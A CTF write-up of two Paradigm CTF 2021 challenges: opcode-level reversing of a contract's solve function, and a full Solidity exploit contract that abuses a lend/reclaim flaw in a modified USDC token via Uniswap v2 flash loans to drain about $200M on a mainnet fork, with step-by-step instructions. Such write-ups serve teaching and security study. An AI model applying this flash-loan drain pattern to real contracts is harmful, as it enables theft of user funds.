# Paradigm CTF 2021 Solutions For now only consists of those that I was personally involved with and that are missing by [cmichel's impressive writeup](https://cmichel.io/paradigm-ctf-2021-solutions/). ## BABYREV This was the problem we spent by far the most time on. It consists of a `Challenge` contract without source code, with an internal flag that has to be set to `true`. We ended up manually annotating the entire opcode-level path from contract start to the only contract `SSTORE`. You can find our annotated version [here](https://gist.github.com/SamWilsn/f850807af39bdddbb88bbe44c787e376). In total, we annotated 521 opcodes with 5078 stack items. At the end, we were able to reconstruct the logic of the `solve(uint256)` function responsible for setting the contract flag: ```c // permutation array, constisting of all 256 bytes 0x00 - 0xff in scrambled order a_arr = hex"637c777bf26b6fc53001672bfed7ab76ca82c97dfa5947f0add4a2af9ca472c0b7fd9326363ff7cc34a5e5f171d8311504c723c31896059a071280e2eb27b27509832c1a1b6e5aa0523bd6b329e32f8453d100ed20fcb15b6acbbe394a4c58cfd0efaafb434d338545f9027f503c9fa851a3408f929d38f5bcb6da2110fff3d2cd0c13ec5f974417c4a77e3d645d197360814fdc222a908846eeb814de5e0bdbe0323a0a4906245cc2d3ac629195e479e7c8376d8dd54ea96c56f4ea657aae08ba78252e1ca6b4c6e8dd741f4bbd8b8a703eb5664803f60e613557b986c11d9ee1f8981169d98e949b1e87e9ce5528df8ca1890dbfe6426841992d0fb054bb16" // target string t_str = hex"504354467b763332795f3533637532335f336e633279703731306e5f34313930323137686d7d" // base string b_str = hex"311dfa5451963f33b16e63f0c62278c9b907e43d1961cdf9f590a0c3b351c04019cccb831403" // initial "weird" uint256 weird = input_arg for (i = 0; i < len(b_str); i++) { weird_byte = weird && 0xff // least significant byte of weird b_str[i] ^= weird_byte // xor base string byte with it new_weird = 0x00 // build next weird byte-by-byte for (j = 0; j < 32 * 8; j += 8) { perm_idx = (weird >> j) && 0xff // use j-th byte of previous weird elem = a_arr[perm_idx] // permute via permutation array new_weird |= elem << j // add new byte to the left of new_weird } // roll new_weird by one byte to the right weird = (new_weird && 0xff) << 31 * 8 | new_weird >> 8 } target_hash = sha3(t_str) // constant our_hash = sha3(b_str) // xor result, dependent on input_arg if (target_hash == our_hash) { set_solved_flag() // flag is queried by Setup contract } ``` With that, we were able to calculate the input value required for the xor'd base string to equal the target string. ## UPGRADE This was my personal favorite - when else do you have the chance to (ethically) steal $200M? The challenge consists of an upgraded `FiatTokenV3` version of the `USDC` token contract, introducing a new lending mechanism. The way the lending mechanism works is rather simple: ```javascript function lend(address to, uint amount) external returns (bool) { _loans[msg.sender][to] = _loans[msg.sender][to].add(amount); _transfer(msg.sender, to, amount); return true; } function reclaim(address from, uint amount) external returns (bool) { _loans[msg.sender][from] = _loans[msg.sender][from].sub(amount, "FiatTokenV3: decreased loans below zero"); _transfer(from, msg.sender, amount); return true; } ``` Importantly, the lend function results in a normal transfer of funds to the borrower. For contracts not aware of the functionality, it looks like they are now the proper owner of these funds. However, the lender can unilaterally reclaim the loan at any time, as long as the borrower has sufficient funds in their account. This can be easily exploited via flash loans (remember, we are on a fresh fork of mainnet). Importantly, for it to be exploitable, the flash loan has to use a push pattern where the user actively re-pays the funds at the end of the transaction (as opposed to a pull pattern where the user only authorizes the repayment and the calls into the flash loan contract to close the position). Aave v1 used such a push pattern, but does not quite have the required $200M USDC liquidity anymore. Aave v2 and dYdX use a pull pattern. Luckily, Uniswap v2 uses a push pattern, and across its largest 3 USDC pairs offers sufficient liquidity. We ended up with the following `Exploiter` contract: ```javascript contract Exploiter { FiatTokenV3 public constant USDC = FiatTokenV3(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); IWETH9 public constant WETH = IWETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); IUniswapV2Pair public constant USDCWETH = IUniswapV2Pair(0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc); // convenience function for initial funding to pay for flash loan fees function swap(uint256 amount) external payable { uint256 value = msg.value; WETH.deposit{value: value}(); WETH.transfer(address(USDCWETH), value); USDCWETH.swap(amount, 0, address(this), hex""); } // starting point of the exploit, triggered once per USDC Uniswap pair function exploit(IUniswapV2Pair pair, uint256 amount0, uint256 amount1) external { pair.swap(amount0, amount1, address(this), hex"00"); uint256 paid = (amount0 + amount1) * 1004 / 1000; USDC.reclaim(address(pair), paid); } // callback from Uniswap flash loan function uniswapV2Call(address, uint amount0, uint amount1, bytes calldata) external { uint256 topay = (amount0 + amount1) * 1004 / 1000; USDC.lend(msg.sender, topay); } // withdraw funds at the end function withdraw(address to, uint256 amount) external { USDC.transfer(to, amount); } } ``` With this, the steps for the exploits were: 1. deploy `Exploiter` 2. use `swap` to fund the exploiter with some USDC 3. for each of the 3 largest USDC pairs, call `exploit` to steal (most of) the pair's USDC reserves 4. withdraw the $200M USDC to the Setup contract